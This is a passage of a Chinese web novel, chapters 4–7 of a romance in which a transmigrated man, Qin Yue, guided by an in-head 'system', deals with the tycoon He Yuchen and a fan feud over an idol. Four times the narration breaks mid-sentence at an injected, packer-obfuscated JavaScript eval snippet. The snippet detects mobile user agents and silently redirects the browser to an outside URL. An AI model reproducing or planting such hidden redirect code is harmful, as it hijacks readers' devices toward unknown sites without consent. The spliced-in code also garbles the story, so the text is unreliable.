男人睡袍领口大大咧咧的敞开着,明暗交界处露出大片的皮肤,隔着质地不错的丝绸睡袍,可以隐约看见薄薄隆起的胸肌。 法务总监忍不住吹胡子瞪眼,心道:好好好,果不其然是个狐狸精。 感情单纯的人就是太容易吃亏了。 头发已经有点花白的总监,没好气地把保密协议递给秦越。 “秦先生请你看一下,没什么异议的话……” 秦越打断了他的话,“我无所谓。” 又不是真的要靠这个混口饭吃,他只是想找个理由,能进一步接触到贺煜臣。 总监被这个没想到的回答给怼了回来,一时准备的各种冷嘲热讽,都来不及说。 他搞不清楚状况,仔细辨认着秦越的表情。 纵使见过无数人的法务总监,也不得不承认一件事。 秦越是真的不在乎钱。 但反而这样,总监心里越咯噔。 这小子到底想干什么? 一时间各种狗血复仇电视剧,瞬间涌入到总监脑袋里。 在助理眼巴巴的目光中,秦越这才敷衍地拆开公文袋,粗略看了协议的第一页,就直接签上名字。 他也没说要留一份,随手把整个公文袋塞回助理怀里。 “秦先生,这是一式四份的。有一份是留给你的。”助理僵笑了一下。 秦越没有拿回来的意思,掀起眼皮看了两人一眼,慢吞吞地回道:“放你们那吧,我这个人比较喜欢乱放东西。” 法务总监这会也摸不准秦越到底什么意思,给了助理一个眼神就要走。 正当两个人转身离开的时候,秦越叫住了助理,倚在门框上问他:“我什么时候能见到他。” 虽然秦越没有指名道姓,但助理也知道他说的是谁,支吾了几秒面露难色道:“这我说不准。但是秦先生,你最好不要随意打扰贺总。” 秦越了然地点点头。 这回轮到助理愣住了,没有他想象中死皮赖脸,也没有希望自己传话的那种意思。 对方十分无情的反手就啪得一声把房门关上了。 助理:“……” 他心有余悸地摸了摸自己差点撞上门板的鼻子,看了看手机上的时间。 ——挺不错的,他甚至还能赶回集团打个下班卡。 贺氏集团的业务涉及金融、机械、船舶、运输、娱乐等众多领域,是一个很典型的家族企业。 而贺煜臣的父亲贺长天,实则是来自贺家一个偏支,娶了身为主家独女的贺煜臣母亲,从某种意义上来说,也算是一种入赘了。 贺煜臣刚开完今天的会,就看见有人坐在自己办公室外的会客沙发上。 贺煜臣见到是法务总监,礼貌地朝他点了点头。 总监大名吴泽,原本是某著名律法大学的教授,在贺煜臣生母去世之后,他担心自己外甥受到欺负,辞去了清闲的教授工作,跑到集团里当上了九九六的社畜。 吴泽终究是贺煜臣的舅舅,所以思来想去还是不放心:“秦越的背调我们拿到了。小煜啊,我得多问一句,你是喜欢他才跟他交往吗?” “没有。”贺煜臣哑然失笑道,“您想多了。” 他们总共才见过一次面。 吴泽不赞同地皱了皱眉,把打印出来的一些秦越朋友圈的照片,放在了桌子上。 原主朋友圈里面,有很多精心包装后的照片。 不限于出席多种豪华宴会,与名人豪绅合影,全球各地飞来飞去的旅游打卡。 各方面展示他“优渥”的背景。 他虽然是个“鸭子”,但是一个很善于包装自己的“鸭子”。 偶尔还有夹杂着几句伤春悲秋、不知所谓的只言片语。 吴泽一开始不知道是什么意思,但是看见底下回复都是什么给你转了多少多少钱,宝贝别伤心了;给你买了X家最新款的鞋,有空出来见个面放松一下心情之类的话。 他顿时就明白了,对方在钓鱼。 这是养了一池子鱼啊! “秦越是个很善于伪装的人,虽然现在还不清楚他到底有什么目的,但我的建议还是离他远一点。”总监摇了摇头,做了一个总结,“每个人的行为,都是有所求的。也许你现在只是他所想要的、一个崭新的包装盒罢了。” 贺煜臣的眼神落在照片上,不知道为什么,照片上秦越的笑容总让他觉得很刺眼。 实际上那是恰到好处的唇角弧度,挑不出什么毛病。 但那种眼底的对财权的欲望,和这种带着目的性极强的笑,照片上的人心里想要什么,贺煜臣看得出来的。 可是偏偏和那晚他见到的男人……相去甚远。 若不是再三确认了秦越的身份,他甚至觉得自己找错了人。 贺煜臣:“秦越如果只是要钱,那其实再好不过,就怕不知道他到底想做什么。我把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064475|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拴在身边,是因为这种人放在眼皮子底下,我比较放心。” 言下之意,这种人会被别人花钱收买,还不如自己先收买了,免得他暗地里搞事。 “他最近还正巧欠了一笔高利贷。”吴泽继续在秦越劣迹斑斑的背景上添砖加瓦。 他总结道:“小煜你一般不会做这种冒失的事情,而且我知道你对这种事一向没什么兴趣啊。到底……?” 所以……到底是不是被男妖精下了蛊啊! 看着表舅依然紧锁的眉头,贺煜臣想到秦越开口随意的报价,他微不可查地皱了一下眉,随手将照片推回了吴泽那边,“如果我真的喜欢他,这些东西我会比您先拿到。” 吴泽有点花白的头发在阳光反射下,晃了一下贺煜臣的眼。 才五十来岁的舅舅,已经看起来像个小老头了。 他母亲去世后没多久,贺长天就想排挤他出去,让自己续弦的儿子将来继承公司。 而自己亲缘单薄,愿意伸手帮他的亲戚居然寥寥无几,吴泽是为数不多还站在他这一边的人。 贺煜臣清楚地记得,贺长天在自己车祸后,还在病床上的时候,就把继母娶进了门。 并且在没人的地方,冷酷无情地下达了他一个通知,告诉贺煜臣继母才是他的初恋,娶他的生母只是家族需要。 他想到此,心里忍不住冷笑一下。 家族需要? 好冠冕堂皇的理由,这个凤凰男恨不得一脚,直接把原配的存在感和她唯一留下的儿子踹了个干干净净。 不过贺长天也得意不了多久了。 贺煜臣压下猛然翻腾起来的嫌恶,继续劝说眼前的舅舅,“而且秦越他不是我喜欢的类型。” 他话音未落,手机在桌子上震动了几下。 吴泽目光灼灼地望着屏幕上的来电人。 贺煜臣好笑地微微摇了摇头,在吴泽期盼的眼神下接了电话。 打电话的人是宋时景。 他声音稍微有些失真,不过依然可以称得上好听。 宋时景像是不知道怎么开口,踌躇了半天,才细声细气地道了声谢。 贺煜臣没有说话,电话那头的人顿时紧张起来了,问道:“贺总……?” 他虽然确定自己没有被别人碰过,但是宋时景不能赌,也不敢赌。 自己的前途目前死死捏在贺煜臣手上,他必须、一定要确保贺煜臣不厌烦自己。 宋时景不知道贺煜臣会不会对这种事很排斥,以至于他开口声调都飘了一下。 “你身体怎么样了?”贺煜臣听出了宋时景的无措,只是当他听到宋时景的声音时,就不由自主地想到那张带着有恃无恐的脸。 贺煜臣知道讨好的眼神是什么样,也知道害怕的脸庞该是怎样的扭曲。 但是那晚,他在秦越脸上什么都没有看出来。 哪怕对方看似是在求他,但贺煜臣心底就是无比确信,无论那张面容的主人如何遮藏,都掩饰不了一件事: 秦越并没有把他放在眼里。 就好像彼此只是擦肩而过的陌生人。 这个念头让贺煜臣出神了片刻。 所以等他反应过来的时候,已经晾了宋时景一会了。 出于礼貌,他客套性地回问了一句。 听到贺煜臣的问话,宋时景心脏先是小小地蹦跳了一下,接着是难以言喻的雀跃挤满胸腔。 ——贺煜臣似乎在关心他。 5. 第 5 章 宋时景当然不会天真地认为贺煜臣喜欢他,但是对方之前就像一扇永远不会为他而开的门,现在能对他说出普通朋友之间的客套话,就已经很好了。 相较于不成熟的贺亦寒,手握实权的贺煜臣似乎是个更不错的选择。 而且贺煜臣没有什么太大缺点,常人都很难拒绝这个近在眼前的机会吧。 宋时景按捺住自己的激动,还是保持住了粉丝眼中小仙男的人设,继续温声地说道:“我好多了,我……我想问您有没有空参加这周末的一个慈善晚宴。” 他说完自己这次打电话的原因,又带着一种拿捏准确的善解人意继续说道:“如果您没空也不要紧。因为这是星雾娱乐主办的,我有点担心您弟弟会来……” 星雾娱乐是贺氏集团旗下的一个娱乐公司,里面大牌云集,而它最近拍的一个电影,从最佳导演到最佳演员,拿到手软。 像宋时景这种原本偶像男团出身,刚刚跻身影视圈的人,对于这种可以刷存在感,争取在导演、制片人前面露露脸的机会,他是绝对不会错过的。 贺煜臣知道宋时景的担心不无道理。 因为星雾娱乐是自家的产业,贺亦寒去那根本不需要什么邀请函。 光是想想,贺煜臣就知道这个弟弟能在这种公开场合闹出什么动静,他停顿了几秒,答应了宋时景的请求。 吴泽精神头十足,看着贺煜臣挂断了电话,就迫不及待地开口问道,“那你喜欢什么样的?是小宋那种的么?” 虽然吴泽对宋时景也不满意,但所有人性情都是折中的,看见秦越之后,他觉得宋时景也不是不行。 贺煜臣现在是真的有点头疼了。他的舅舅没啥缺点,但是对他私生活绝对是关心过度了。 看见他就像一个看见没了妈的小鸡仔,也不管会不会闷死他,就自顾自的将他笼罩在自己的羽翼之下。 实则他这个小鸡仔,在外面已经走得“横行霸道”了,别人避之不及。 “我……”贺煜臣掩饰性地喝了一口茶,“可能吧。” 天晓得舅舅为什么会那么想,他都快一周没见过宋时景了。 当初也是对方先提出合作,自己本来也就是为了让贺亦寒膈应一下罢了。 但是贺亦寒吃瘪却不能言语的样子,莫名让他觉得有趣,才让宋时景留了下来。 “对了。”听到贺煜臣含糊其辞的答案后,吴泽补充道:“我还查到秦越跟小宋不对付的,秦越也可能是冲着他来的。” 听到这话,原本一直没什么表示的贺煜臣,终于正色看了一眼吴泽,“他们之间是有什么……误会?” 不知道两人发生了什么龃龉,贺煜臣挑了个不轻不重的词问道。 吴泽脑子回忆了一圈饭圈用语后,挤牙膏一样挤出几个字:“粉丝打架,殃及正主。” 其实更深层的原因是,当时贺亦寒跟宋时景还没分手,贺亦寒出手教训一个小网红,对于他本人来说,简直就是举手之劳。 贺煜臣看出了吴泽吞吞吐吐背后的纠结,于是也没多问。 与此同时,不知道在背后被人蛐蛐的秦越正在认真地回复经纪人短信。 说是经纪人,实则这个人负责管理、运营和推广一堆网红,还要负责一些市场信息整合,根本管不了那么多人。 他这次找秦越是因为跟秦越合同到期了。 经纪人:“我们公司供不起你这尊大佛,上层已经决定不续约了。” 秦越不在意对方的阴阳怪气,他只想问清楚他这个月的底薪还有没有。 经纪人:“??????” 他一连扣了好几个问号,恨不得刷屏秦越的手机。 “你知道自己在说什么吗?!你之前直播间被封了,导致合作方损失惨重。你还跟宋时景的粉丝在网上吵架!我们公司给你做公关花了多少钱??我们仁至义尽了!” “念在你之前工作也算努力,我们也不想闹得太难看,好聚好散吧!” 秦越很心痛地叹息了一声。 系统如出一辙地扣出一个问号。 秦越盯着屏幕半晌,“你说我再发消息,是不是只能看见一个红色感叹号了。” 系统不理解,[就算他拉黑您又有什么关系呢?] “那我跟你确定一件事,这个小说故事背景是普通的现代社会吧。” [是的,所以呢?] 秦越:“所以,就目前来看,我还没有修仙成功。所以我需要食物、住宿等一切正常人类活下来的必要条件。能拿到这些的前提,就是我需要硬通货,俗称:钱。” 他再一次后悔当时没有问贺煜臣多要些钱。 主要是那个时候他刚来,压根不知道原主的经济状况那么糟糕! 这几天细细盘算了一下原主的存款和收入之后,秦越完全没法理解,原主为什么还敢住在几千块钱一晚上的酒店里。 导致他刚穿过来的时候,以为原主还有一些后手,所以才那么游刃有余。 贺煜臣给他的钱已经先还了一笔银行贷款了,因为再不还自己就要上失信名单了。 处理完信用卡危机后,秦越立刻从酒店搬了出来,跟人合租了一个老破小。 当然压根没有实体的系统是没法理解人类艰辛的。 它整理了一下后台,[但是您跟贺煜臣已经签订了合同,他每个月不该给你钱吗?我看这些类似的小说都说被包养了之后,月薪十万起步,还会掉落公馆别墅豪车等打赏。您应该不会缺钱。] 秦越目光慈爱,跟看傻孩子一样地望着系统,“把你后台那些狗血文合集能扔的就扔了。真正的有钱人进出账比普通人算得还仔细。贺煜臣在我这什么都没捞到,会给我什么钱?他现在也就是吊着我而已。” [那您给他想要的。这也是一种合同关系不是么?]系统又仔细地用非人的速度,翻阅搜集到的上万本涉及包养的狗血文,最后它打量了一眼秦越,总结道:[小说里说您该去暖床。] 秦越表情有点一言难尽:“你的道德模块加载的是不是有问题?” 合着不许使用暴力,但是涉及黄色是一点不管吗! 秦越决定不理系统了,这个破玩意跟个人工智 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064476|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 障似的。 他打开了之前直播的平台,发现解封的时间到了,但是他不知道原主是播些什么的,秦越猜应该就是带带货之类的。 秦越于是又找到了原主发的一些短视频的,诧异地发现原主短视频播放量都挺高的,而且封面配图还都是黑底白字,搞得神神秘秘的。 看样子原主还是有可取之处的,至少视频质量挺高,这种封面,还能有那么高的播放量和点赞。 秦越随手点开了一个名字叫《帮我看一下,这只小猫是谁家的?》的视频。 打开三秒之后,他脸色难看,啪得一声把手机屏幕倒扣下去。 系统:[1027号员工,检测到您心率刚刚一瞬间不正常,请问发生了什么事?] 秦越没回答。 虽然他把屏幕倒扣了,但是手机扬声器处还是传来了隐隐约约的喘息声。 秦越深深吸了一口气,把手机拿了回来,十几秒的短视频也差不多放完了。 屏幕上的男人没穿上衣跪坐在地板上,带着一个毛茸茸的猫耳,光滑裸露的脖颈上带着一个choker,反射着冰冷金属光泽的链条从颈圈上垂落。 细碎冷光在半空中晃晃悠悠的,摆幅跟着心跳起伏完美契合。 男人一个字也没说,只是眼神迷离飘忽地看着镜头。 像是发出了一个无声的邀请。 秦越试图收回他刚刚夸原主视频质量高的话。 这什么鬼迷日眼的表情!擦边擦得也太熟练了吧。 秦越跟吃了苍蝇一样,特别是代入跟他差不多的脸,让他觉得干这种世风日下的事情是自己。 不愿睁开眼,希望是我的幻觉。 于是秦越开始变成无情的删视频机器。 系统:[警告!警告!不要干与原主人设不符的事情!] 秦越手上动作不停:“我现在觉得不一定是宋时景粉丝把他直播间弄没的。” 如果天天在直播间不穿衣服,那是他活该。 系统:[最后一次警告!1027停止您的行为!] 秦越手指一顿,“如果不停会怎么样。” 系统解释:[会让您强制脱离,然后让原主接手一段时间,不让别人起疑。之后再把您传回来。] 听到前半句就想撂挑子不干的秦越,又被后一句给踹回来了。 他退而求其次地把视频改为私密,仅限自己观看。 被秦越这一手搞懵的系统卡壳了半天,不知道该如何判断。 秦越一本正经地回答:“他……我转型了。” 系统:[啊?] 秦越:“首先原主最喜欢钱,这一点你不否认吧。” 系统默许。 “第二他拍这种视频也就是想要流量。流量可以折算成钱,是不是?” 系统再一次默许。 秦越摊手:“所以我现在想拍点别的类型视频,其实是在尝试新的赚钱方式,有什么问题么?” 系统听见自己脑子里面的电火花在噼里啪啦地炸。 [……您是对的。] 6. 第 6 章 因为原主本就是个什么都喜欢尝鲜的人,干这种想一出是一出的事情也合理。 [可是你为什么把之前的视频设置成私密。]系统感觉自己被绕进去了,就是没有证据。 秦越随意地拍了一张手背的照片,然后发了出去,配字:“直播间不见不散。” 确定发成功后,他瞥了一眼系统,慢条斯理地说:“因为我的受众要不一样了。” 他之前已经消失在大众前一段时间了,现在突然回来了,凑热闹的路人挤进了评论区。 [哇哦,慷慨的男菩萨回来了。人果然还是要看这些,才有力气生活呀。#爱心#] [笑死,你真是卖肉熟练工,天天发这种,被包养的是你自己吧,还好意思说别人有金主。] [你们宋时景粉丝又装路人来了,真是跟狗似的追着人撵。] [某些群体不许骂人,谁骂人我喷谁。我大喷菇转世,不信来试试。我只是来看福利的,把人骂跑了,我还看什么?] [拍一张手是什么意思,不会是要……小脸一黄。] [楼上这里是评论区!不是无人区!把裤子穿好。] [等等,你们别脱裤子了,秦越怎么把直播间挂游戏区了??] 秦越给最后一条评论点了个赞。 系统隐约觉得不对:[我感觉您在骗我。] 秦越从原主一堆杂物里翻出了电脑,他在卧室里收拾好桌子,坐下来就准备开机。 漆黑的电脑屏幕映出秦越的脸。 从某种方面来说,黑红也是红。原主之前跟宋时景粉丝在网上吵架,哦不对,应该说是单方面挨骂。 他压根没有什么粉丝基础,处于被动挨打状态。但也是因为这个,他被更多的人知道了。 当然,是负面的形象居多。 秦越销声匿迹那么久,第一次开了直播间,看热闹的,宋时景的粉丝,还有自诩是lsp准备冲进来嚎的。 浩浩荡荡的,一窝蜂都来了。 过了半个小时。 观众确实在嚎,但是那种鬼哭狼嚎。 字面意义上的。 弹幕飞雪一样地飘过。 [不儿,你是在打恐怖游戏吗?] [这次前摇也太长了吧……怎么还没脱。] [为什么把人骗进来杀啊啊啊啊!] 游戏屏幕上狰狞的鬼脸搭配着没有什么表情的秦越,越看越诡异。 一开始处在路人懵圈期间,弹幕氛围还很友好,随着宋时景的粉丝越来越多,气氛变得凝滞起来。 秦越抬眸看了一眼弹幕,有人骂的很厉害,开始涉及到人身攻击了。 本来只是好奇来看游戏直播的路人,已经陆陆续续地往外退了。 系统看见秦越不悦地扬了扬眉尾,CPU跟卡了一下,它明明没有心脏,却如人类的心一般咯噔了一下。 它知道秦越不是什么软包子,相反,他脾气像薛定谔的猫,忽好忽坏的。 秦越突然嗤笑了一声,“我说……” 他之前直播一直没有说话,忽然开口了弹幕反而出现了瞬间的空白。 接着宋时景的粉丝触底反弹了一般,输出的话更密集了。 “我说,之前直播的时候,我是不是只讲过宋时景跟贺亦寒有关系。”秦越双手环胸,微微抬起下颌,似笑非笑地扫过一行行指责他的言语,“他们可以是同学关系,是朋友关系,甚至可以是普通的情侣关系。” 他表情冷漠着透露出些许的嘲弄,“好像一直默认他们关系不正常的是你们吧。” 是你们这群粉丝跟做贼心虚一样,下意识就认为宋时景跟贺亦寒关系见不得人,从而跟疯狗一样追着人咬。 依旧是你们觉得贺亦寒这种财阀出身的人,看不起一个普通的演员,认为阶级是横跨在恋人之间的深渊。 千方百计地想替自己偶像摆脱这种窘迫的境地。 “你们想搭戏台子唱戏就唱,下次就别带上我了。我可没有你们会唱。”秦越冷冷地说了最后一句话。 似乎跟这场闹剧一点关系没有的贺煜臣,却在看这一场马上又会在网上掀起骂战不断的直播。 贺煜臣注视着屏幕上秦越那张见过就不会忘记的脸。 他突然反应过来为什么自己会觉得认错人了。 之前的秦越应该是知道自己长着一张欠缺乖顺的脸,所以总是会给自己上妆。有意无意地会把眼尾的眼线画得下垂,眉毛也会修得更平滑一些,看上去会显得无辜青涩一点。 但是现在的秦越明显什么也没做,特别是在今天的直播间,他强势的眉眼往下压着,满脸写着我很烦,但又懒得再多说一句的样子。 整个人透露着一种淡淡的死意和爱咋咋地的摆烂。 让贺煜臣想到臭脸的缅因猫 。 他定定地看了屏幕里的男人好一会,终于忍不住嘴角开始缓缓上扬。 - 贺煜臣以为秦越会跟他刻板印象中的那些人一样,会变成随处都可以“偶遇”的牛皮糖。 可是连续几天,秦越根本没有主动找过他一次,实际上贺煜臣想见到他,还得在对方的直播间里,隔着一层冰冷的屏幕。 贺煜臣知道自己其实并没有喜欢秦越。 但就仿佛是天黑了要开灯,冷了要添衣。有一种该死的本能,叫他忍不住去接近对方。 而本能中还混杂着一些熟悉。 这种熟悉不是“这个妹妹我曾经见过”的熟悉,而是他似乎应该熟知秦越的一切,包括对方的小表情或者是爱好习惯。 为什么呢? 被这种死活也想不起来的感觉死死网住的贺煜臣,莫名开始烦躁起来。 贺煜臣在想这是不是什么海马效应,他把关于别人的一些记忆,移植到了秦越身上。 手上钢笔带着凉意的触感唤回了贺煜臣的意识。 他正想给面前的文件落笔签名,才发现钢笔笔尖的墨已经干了。 贺煜臣这才发现自己出神了太久。 签完最后一份项目企划后,贺煜臣抬手看了一眼时间。 这几天为了跟贺长天争论公司新季度的投资方向,他已经加班很多天了。贺煜臣想了想,决定让自己放个假,便去往了负一层地下车库。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064477|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的私人司机早早地在等着他了。 宾利左转右转绕出地下停车场,打了个方向灯,开到了集团门前的宽敞大路上。 贺煜臣年纪尚小时经历的那一场车祸,虽然没有让他患上特别严重的ptsd,但他还是习惯性地望向窗外,看着人群亦或者车流。 这会给他一种活着的真实感。 “等一下。”贺煜臣只是余光瞥到了公司门口的一角,就被完全被吸引了目光。 司机不明所以,职业素养让他一个字没有问,老老实实地靠边停了车。 公司楼下时常会有一些流浪的猫猫狗狗,躺着晒太阳。 它们并不怕人,因为公司里面总有人会喂给它们食物,还带着去打过疫苗。 有几只长得好看的流浪猫,贺煜臣都已经眼熟了。 但有一个不是很眼熟的人出现在这就很奇怪了。 贺煜臣站在不远处,悄无声息地看着秦越在给一只猫顺毛。 那只猫算的上常客,它是金渐层和布偶的混血,因为颜值不错,经常被公司的人喂猫条吃。 小猫懒洋洋地躺在在夕阳的余温下,享受着人类的伺候。 在秦越那张一点也不平易近人的脸上,贺煜臣居然看到一抹温柔。 或许是他的视线太过明目张胆,正在逗猫的男人像是感应到了什么,侧过了头。 光影被他脸上的骨骼切割成无数明暗的小碎块,阳光过透过高挺的鼻梁,在另一侧打下阴影,他似乎因为有什么心事,而微微拧起的眉毛,在看到贺煜臣的那一刹那,卸了力一般地松开。 “下班了?” 没想到开场词是这个的贺煜臣,沉默地站在原地。 秦越等不到回答,干脆起身向他走过来。 他今天只是穿了一件简单的灰色卫衣,让他整体气质显得没有那么咄咄逼人。 贺煜臣不会承认当看到秦越的时候,第一反应是有些诧异。 因为按照他舅舅的说法,秦越会为了给金主展示自己的“人设”,基本不会穿的过于寒碜,有失体面。 秦越不知道对方在想什么,好奇地歪着头打量了贺煜臣几眼。 不过贺煜臣想的也没错,因为秦越没有穿别人衣服的爱好,他放弃了原主的衣柜。 还有一个理由,是这些衣服大多是花里胡哨的,看起来活脱脱得各种孔雀开屏。 身上这件这是秦越临时在地摊上买的打折货。 做工粗糙,袖口的线头都窜出来几根。 被莫名冷落的小猫喵喵叫了几声抗议,见无法叫住变心的人类,摇着尾巴跳进园圃中,消失不见了。 贺煜臣:“你在这干什么?” 书里贺煜臣本来就戒心极强,你就算是单纯对他大发善心,他都要怀疑你有八百个心眼子。 只不过这个设定,在作者写到他跟白月光独处时,就已经抛到天边了。 秦越没有在意他的疏离,坦然地说:“我在等你下班。” 没有谄媚,没有讨好。 只有眉宇间不易察觉的疲惫。 ……就像一个真正的、等了他很久的恋人。 7. 第 7 章 贺煜臣想到舅舅给他展示的,关于秦越喜欢塑造自己人设的一面。 他已经做好准备,等待秦越会穿着高定的西装,故作不经意地透露,这是在某某地方私人订制的。 也可能会租一辆不错的车,然后拉着他去某个米其林餐厅,再从金融说到诗歌,最后开口想借他的名义参加一些晚宴。 卫衣袖口不太整齐的针脚,仿佛在大声嘲笑着贺煜臣的推测。 舅舅说的那句善于伪装,恰到好处的响在他的耳畔。 贺煜臣手指在袖扣上捻了一圈,盯着秦越问道:“你什么时候来的?” 秦越还没着急回答,系统已经在着急了。 系统如果有实体,现在应该在扒拉他了:[根据后台计算,1027号您现在攻略的成功率很大。] 系统看清了贺煜臣眼里的血丝,它超过人类计算能力的大脑,敏锐地察觉到贺煜臣扎眼频率,略微高于他平时。 贺煜臣此刻应该很累。 资料显示他昨天熬了个通宵,今天也只有中午浅眠了一会。 系统知道这是人类会卸下防备的时候,十分适合出击,刷刷好感度什么的。 结果下一句就听见秦越开口:“刚到。” 他当然是卡点来的。 “不过,我确实找你有点事情。” 系统:[…………?] 好好好。 不仅回答的水平不及格,还表现的特别像来讨小便宜的炮灰。 系统流下不存在的眼泪。 虽然说你身份是炮灰,但是行事请不要那么像。 你不应该带上狗血文里特有的小白花面具,高喊我这一周茶饭不思,每天都守在你公司楼下。 最后你再说上一句我只是因为想你,所以才来见你。 系统无声地快速加载无数本小说,这难道不是狗血文的正确走向吗? 它不理解。 秦越也不理解,他听见系统用非人的语速叭叭一通后,眼角没忍住一抽。 秦越沉默了一秒。 沉默了两秒。 ……都说了要早点把这些垃圾糟粕删掉。 暂且先不说他这个长相能不能演小白花,贺煜臣又不是脑子有问题,上面这个场景怎么看都不像是正常人能进行的对话。 他就说吧,果然AI无法代替人类。 贺煜臣墨色的瞳孔在秦越脸上打量了一圈,“又来跟我谈条件了?”他环顾了一下周围来来往往下班的人,“你要在这说?” 其实在这里说也不是不行,但是贺煜臣不久前刚听完秦越的一些“案底”,他防备着对方可能会在大庭广众之下,做些让他下不来台的事情。 譬如又要狮子大开口做些什么交换。 “我都可以。”秦越耸了耸肩,他不知道贺煜臣在想什么。 贺煜臣:“去你住处吧。” 他当然不会让秦越去自己家。 秦越抬了一下嘴角:“那可真不凑巧,我刚把酒店套房退了,现在是跟人合租。贺总确定要过去么?” 想到这里,秦越摸了摸下巴,随口说了一句:“体检费报销吗?” “体——”贺煜臣被问了个措手不及,他一脸茫然地看着秦越:“什么体检?” 秦越解释:“你助理让我做的体检,我可是听话地做了全套。” 他唇齿开合间,把听话两个字咬得很重。 这个体检至少花了他大几百,让他本就不怎么乐观的存款雪上加霜。 贺煜臣听了秦越的话,目光闪烁了一下就懂了前因后果。 他没空计较助理的多管闲事,有点冷淡地说道:“我不知道这件事。” 贺煜臣是想说自己不是那么随便的人,对情事也没用那么热衷,不是看上个人就要上.床。 但是秦越很明显误会了他的意思:“所以说我要走个OA流程什么的么?” 贺煜臣:“?” 秦越观察了一下贺煜臣的表情,看上去对方没什么幽默细胞。 于是秦越扬了扬眉,从善如流:“抱歉,我以为你听出来我刚刚只是开了个玩笑。” 贺煜臣刚想发作,又撞上对方貌似真诚的道歉。 他深深地看了一眼秦越,“……” 上一个跟自己开玩笑的人,贺煜臣都不记得是谁了。 贺煜臣:“上车。” 他虽然走得很慢,但肩背笔直,像个老派的绅士,完全看不出来有什么腿疾的样子。 不过,秦越还是看出来他有一只脚落地是一直收着力的。 系统突然感叹道:[真是人不可貌相,谁能看出来这么性冷淡的人会在主角受离开他后,变成了阴湿男鬼攻。] 秦越:“……” 系统又叹息一声,用夸张的咏叹调念着原文:[原来,少年时期的残疾,变成了他完美无缺身份上的一块疤痕。贺煜臣自卑却又难以克制自己想靠近那道光,就像飞蛾扑火,灼烧的痛楚不能让他回头,只会更加义无反顾。] 秦越:“……” 系统再一次大声叹气。 秦越忍无可忍:“够了啊,别在我脑子里面叹来叹去的了。” 他坐在宾利里,跟贺煜臣隔着至少一个身位,但系统一直声情并茂说着的正主就在自己身侧,秦越只想让系统闭嘴,让他起的鸡皮疙瘩消下去。 系统将语音调回了初始的冰冷机械音,[1027号您是打算跟贺煜臣摊牌谭子濯的事情么?] 如果说原文里白月光塑造的形象是倔强生长的野草,那谭子濯在众人眼前是就是出淤泥而不染的白莲花。 他是原文中暗恋攻二贺煜臣的恶毒反派,最后因为栽赃陷害白月光,在贺煜臣的授意下,陷入丑闻身败名裂。 秦越一阵无语,好脸谱化一反派。 感觉就是男一和白月光之间的催化剂,男二爱而不得play中的一环。 秦越的愉悦悄无声息:“你没发现么,我跟他的目标是一致的。” 系统的小脑袋瓜子又一次被转晕了,它想了想,觉得自己也不是叫反派助攻系统啊? [所以您是想跟谭子濯合作?]系统有点愤愤不平,觉得秦越思想在滑坡,[可是他是大反派啊,您不该跟这种人同流合污。] 秦越点了点头:“你说得对,但我觉得你也挺像大反派的,我跟你也是在同流合污。” 系统:[我绝对是个好统,您不能乱指认。] 秦越:“那就放任剧情自己走,贺煜臣喜欢谁是他自己的事情。” 系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064478|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被噎回去了。 一直到住处,贺煜臣脸色都不太好看。 刚刚在车上秦越别说试图做些什么了,他甚至眼神没有一次落在自己身上。 想到这,贺煜臣又有点恼怒,那种他无法克制地感觉又出现了。 他总是忍不住想要接近秦越,而眼下应该想方设法地讨好他的秦越,却把自己当做了一团空气。 别墅大门被打开,阿姨迎了出来,看出来贺煜臣神色不虞。 她接过贺煜臣的拐杖放在一旁的架子上,目光只是扫了一眼秦越,就毕恭毕敬地退了回去做自己的事情。 贺煜臣自从成年之后,就已经彻底不跟贺长天住一起了,山顶别墅是他母亲给他留的产业,大部分时间只有他一个人住在这里。除了一些家政园丁,没有外人。 系统一改之前在车上的絮絮叨叨,沉默了许久。 久到秦越都已经它坏掉了,“你掉线了么?” 系统迟疑地说道:[很奇怪,为什么别墅阿姨没有说那句话。] 秦越有一种不好的预感。 